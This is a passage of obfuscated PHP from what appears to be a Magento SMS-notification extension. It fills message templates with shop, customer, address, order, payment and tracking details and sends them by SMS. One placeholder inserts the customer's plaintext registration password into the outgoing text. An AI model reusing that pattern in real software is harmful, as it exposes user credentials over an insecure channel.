($i0bc4437a5c5941b7f3a262ba60f104077f308455->getContactTel()) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i0bc4437a5c5941b7f3a262ba60f104077f308455->getContactTel(); } } } if (!$i1f1945594819c4321de45ac15ed6d4dc07f41e2f) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = Mage::app()->getRequest()->getParams(); foreach(array('mobilenumber', 'mobile_number', 'phone', 'phone_number', 'telephone', 'mobile') as $i670253c23c6fcba76bc4256a88fdd8fbc1041039) { if (!empty($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a[$i670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a[$i670253c23c6fcba76bc4256a88fdd8fbc1041039]; $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = Mage::getStoreConfig('general/country/default', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66);; break; } } } if ($i1f1945594819c4321de45ac15ed6d4dc07f41e2f && is_numeric($ifb2b31a17a2f13d19aebc5823ae02f42988a78f2)) { $ifede0aa7d9c3f77f8ca4eb9c1002d82f3a770ae7 = $i71e09ed37bc7273d250df9932c1693668e879cdd->getFirstItem(); $i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f = $ifede0aa7d9c3f77f8ca4eb9c1002d82f3a770ae7->getSmstext(); if ($i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f) { $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->addRecipient($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, array('recipient' => $i489c048e0604d314330360b5ee23b42f486ebb98, 'customerId' => $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2, 'country' => $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b)) ->setMessage($this->prepareText($i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f, $i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5)) ->setSubject($i7744e4decfaad72e8b713dad6e312bdd2770c4da) ->setType(Topefekt_Magesms_Model_Sms::TYPE_CUSTOMER) ->setPriority(true) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $if2014d170e15e7f6f64523fd3238720980ceb64a = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'customer') ->addFieldToFilter('area', $ifede0aa7d9c3f77f8ca4eb9c1002d82f3a770ae7->getMutation()); if ($if2014d170e15e7f6f64523fd3238720980ceb64a->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $if2014d170e15e7f6f64523fd3238720980ceb64a->getFirstItem(); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName($i7744e4decfaad72e8b713dad6e312bdd2770c4da); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); } } } } return $this; } public function prepareText($idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5) { if (preg_match_all('/{(.*?)}/', $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e)) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = array(); foreach($ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e[1] as $iebd691e534c6cf2e84cf8a88790a5271154fca05) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b[$iebd691e534c6cf2e84cf8a88790a5271154fca05] = '{'.$iebd691e534c6cf2e84cf8a88790a5271154fca05.'}'; } if ($i5e65dd16263683749d16a84171f719e768ed14b5->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStore()->getId(); elseif (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'])) { $ic157485eecbe64d400493d7b9e7f434b83aca5d0 = parse_url(Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_WEB)); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'] = $ic157485eecbe64d400493d7b9e7f434b83aca5d0['host'].($ic157485eecbe64d400493d7b9e7f434b83aca5d0['path'] != '/' ? $ic157485eecbe64d400493d7b9e7f434b83aca5d0['path'] : ''); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::getStoreConfig('general/store_information/name', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name2'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name2'] = Mage::app()->getStore()->getName(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'] = Mage::getStoreConfig('trans_email/ident_general/email', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'] = Mage::getStoreConfig('general/store_information/phone', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'contactForm') { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('email')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_name'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('telephone')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short1'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short1'] = Mage::helper('magesms')->substr(trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')), 0, 120); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short2'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short2'] = Mage::helper('magesms')->substr(trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')), 0, 100); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short3'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short3'] = Mage::helper('magesms')->substr(trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')), 0, 80); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'customerRegisterSuccess') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_password'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_password'] = Mage::app()->getRequest()->getParam('password'); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getLastname(); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'newOrder' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderTrackingNumber') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerLastname(); } if (!isset($i22b151d2a920ca46892d343096abbccfad9f3678)) $i22b151d2a920ca46892d343096abbccfad9f3678 = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_company'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_company'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getCompany(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_address'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_address'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getStreet(1); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_postcode'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_postcode'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getPostcode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_city'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_city'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getCity(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_country'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_country'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getCountry(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_state'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_state'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getRegion(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getTelephone(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_vat_number'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_vat_number'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getVatId(); } if (!isset($i560c12365c45b205daa0512840c70486783226b1)) $i560c12365c45b205daa0512840c70486783226b1 = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_company'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_company'] = $i560c12365c45b205daa0512840c70486783226b1->getCompany(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_firstname'] = $i560c12365c45b205daa0512840c70486783226b1->getFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_lastname'] = $i560c12365c45b205daa0512840c70486783226b1->getLastname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_address'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_address'] = $i560c12365c45b205daa0512840c70486783226b1->getStreet(1); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_postcode'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_postcode'] = $i560c12365c45b205daa0512840c70486783226b1->getPostcode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_city'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_city'] = $i560c12365c45b205daa0512840c70486783226b1->getCity(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_country'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_country'] = $i560c12365c45b205daa0512840c70486783226b1->getCountry(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_state'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_state'] = $i560c12365c45b205daa0512840c70486783226b1->getRegion(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_phone'] = $i560c12365c45b205daa0512840c70486783226b1->getTelephone(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_vat_number'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_vat_number'] = $i560c12365c45b205daa0512840c70486783226b1->getVatId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getIncrementId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getPayment()->getMethodInstance()->getTitle(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment_html'])) { $ic078737049591e1e2db7c285f3e3b95cb867c6d0 = Mage::helper('payment')->getInfoBlock($i5e65dd16263683749d16a84171f719e768ed14b5->getPayment()) ->setIsSecureMode(true); $ic078737049591e1e2db7c285f3e3b95cb867c6d0->getMethod()->setStore($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $i42745015bca99637011d2ba8a559beb3a8b0961f = strip_tags($ic078737049591e1e2db7c285f3e3b95cb867c6d0->toHtml()); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace('/ +/', ' ', $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace("/ \n/", "\n", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace("/\n /", "\n", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = preg_replace("/\n\n+/", "\n", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_payment_html'] = trim($i42745015bca99637011d2ba8a559beb3a8b0961f); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_total_paid'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_total_paid'] = Mage::getModel('directory/currency')->format($i5e65dd16263683749d16a84171f719e768ed14b5->getGrandTotal(), array('display'=>Zend_Currency::NO_SYMBOL), false); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_currency'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_currency'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getOrderCurrency()->getCurrencyCode(); } $this->f2b4066ec99f97011a4a9f20dd18d97b5a49b8b51($i0933475b5bd80561a9f50282fd9eb0b8345cec4b, $i5e65dd16263683749d16a84171f719e768ed14b5->getCreatedAt()); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['delivery_date'])) { $ifd002a4ef735f38a6030baa73fafafa1118ff492 = Mage::getModel('ecommerceteam_ddc/order'); if ($ifd002a4ef735f38a6030baa73fafafa1118ff492) { $i82d8f80a6f30d2bff1b6b037fd170117a61f4e69 = $ifd002a4ef735f38a6030baa73fafafa1118ff492->load($i5e65dd16263683749d16a84171f719e768ed14b5->getEntityId(), 'order_id')->getData(); if (isset($i82d8f80a6f30d2bff1b6b037fd170117a61f4e69['order_id'])) { if (strtotime($i82d8f80a6f30d2bff1b6b037fd170117a61f4e69['delivery_date'])) { $i5b8dea0c150539c8b78ffa4a4ee9b4ea0bf09414 = Mage::getSingleton('core/locale')->date($i82d8f80a6f30d2bff1b6b037fd170117a61f4e69['delivery_date'], Zend_Date::ISO_8601, null, false)->toString(Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_FULL)); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['delivery_date'] = $i5b8dea0c150539c8b78ffa4a4ee9b4ea0bf09414; } } elseif ($i2d35534ee8eb5c1c7e742a61e000486ce24db667 = Mage::app()->getRequest()->getParam('delivery_date')) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['delivery_date'] = $i2d35534ee8eb5c1c7e742a61e000486ce24db667; } } } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['estimated_delivery_date'])) { if (Mage::helper('core')->isModuleEnabled('Wyomind_Estimateddeliverydate')) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['estimated_delivery_date'] = mb_strtoupper(trim(strip_tags(Mage::helper("estimateddeliverydate/data")->getCartMessage())), 'utf-8'); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'newOrder') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['cart_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['cart_id'] = Mage::getSingleton('checkout/session')->getQuoteId(); } $i32ce098f2dde8081cf3c4de31f52b408a6ad48be = $i5e65dd16263683749d16a84171f719e768ed14b5->getItemsCollection(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder1'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getId().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getName().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder1'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder2'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = 'id:'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getId().', ' .Mage::helper('magesms')->__('name').':'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getName().', ' .Mage::helper('magesms')->__('qty').':'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder2'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder3'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getId().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder3'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder4'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = 'id:'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getId().', ' .Mage::helper('magesms')->__('qty').':'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder4'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder5'])) { $i813c950729f632ca03f8c203c0a769de5e8bdf29 = array(); foreach($i32ce098f2dde8081cf3c4de31f52b408a6ad48be as $i69a1201e93806d55c970dfb18feec53d221ba37b) { $i813c950729f632ca03f8c203c0a769de5e8bdf29[] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getId().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getSku().'/'.$i69a1201e93806d55c970dfb18feec53d221ba37b->getQtyOrdered(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['newOrder5'] = implode('; ', $i813c950729f632ca03f8c203c0a769de5e8bdf29); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderTrackingNumber') { if (!($i9805d668f75b6b461f88474f57c5f6aa86a87316 = Mage::registry('magesms_track_obj'))) $i9805d668f75b6b461f88474f57c5f6aa86a87316 = $i5e65dd16263683749d16a84171f719e768ed14b5->getTracksCollection()->getLastItem(); if (!$i9805d668f75b6b461f88474f57c5f6aa86a87316->getId()) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = Mage::app()->getRequest()->getParams(); if (isset($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a['tracking']) && ($i71035ea6aa66350bb658a262013eb58377a0934e = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a['tracking'])) { $i71035ea6aa66350bb658a262013eb58377a0934e = end($i71035ea6aa66350bb658a262013eb58377a0934e); if (!empty($i71035ea6aa66350bb658a262013eb58377a0934e['title'])) $i9805d668f75b6b461f88474f57c5f6aa86a87316->setTitle($i71035ea6aa66350bb658a262013eb58377a0934e['title']); if (!empty($i71035ea6aa66350bb658a262013eb58377a0934e['number'])) $i9805d668f75b6b461f88474f57c5f6aa86a87316->setTrackNumber($i71035ea6aa66350bb658a262013eb58377a0934e['number']); } } if ($i9805d668f75b6b461f88474f57c5f6aa86a87316) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['carrier_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['carrier_name'] = $i9805d668f75b6b461f88474f57c5f6aa86a87316->getTitle(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_shipping_number'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_shipping_number'] = $i9805d668f75b6b461f88474f57c5f6aa86a87316->getTrackNumber(); } } $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87 = Mage::getSingleton('admin/session')->getUser(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_id'] = $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['employee_email'] = $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getEmail(); } } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'productOutOfStock' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'productLowStock') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getProductId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_quantity'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_quantity'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getQty(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_name']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_ref'])) { $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product'); $i69a1201e93806d55c970dfb18feec53d221ba37b->load($i5e65dd16263683749d16a84171f719e768ed14b5->getProductId()); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_name'] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getName(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_ref'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['product_ref'] = $i69a1201e93806d55c970dfb18feec53d221ba37b->getSku(); } } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname']) || isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { if ($i21e55df616c305955791876c1eb4da83448beba2 = Mage::getSingleton('customer/session')->getCustomer()) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'] = $i21e55df616c305955791876c1eb4da83448beba2->getId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i21e55df616c305955791876c1eb4da83448beba2->getEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i21e55df616c305955791876c1eb4da83448beba2->getLastname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i21e55df616c305955791876c1eb4da83448beba2->getFirstname(); } } } } foreach($i0933475b5bd80561a9f50282fd9eb0b8345cec4b as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = str_replace('{'.$i670253c23c6fcba76bc4256a88fdd8fbc1041039.'}', $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89, $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); } } return $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa; } private function f2b4066ec99f97011a4a9f20dd18d97b5a49b8b51(&$i0933475b5bd80561a9f50282fd9eb0b8345cec4b, $i53ddb2282ac3aca0d44abe35abcf69959ed66574) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date'] = $i53ddb2282ac3aca0d44abe35abcf69959ed66574; } $i17c20960d197486b19dc890665362a4f2fd6f24a = date_parse($i53ddb2282ac3aca0d44abe35abcf69959ed66574); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date1'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date1'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date2'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date2'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date3'])) { 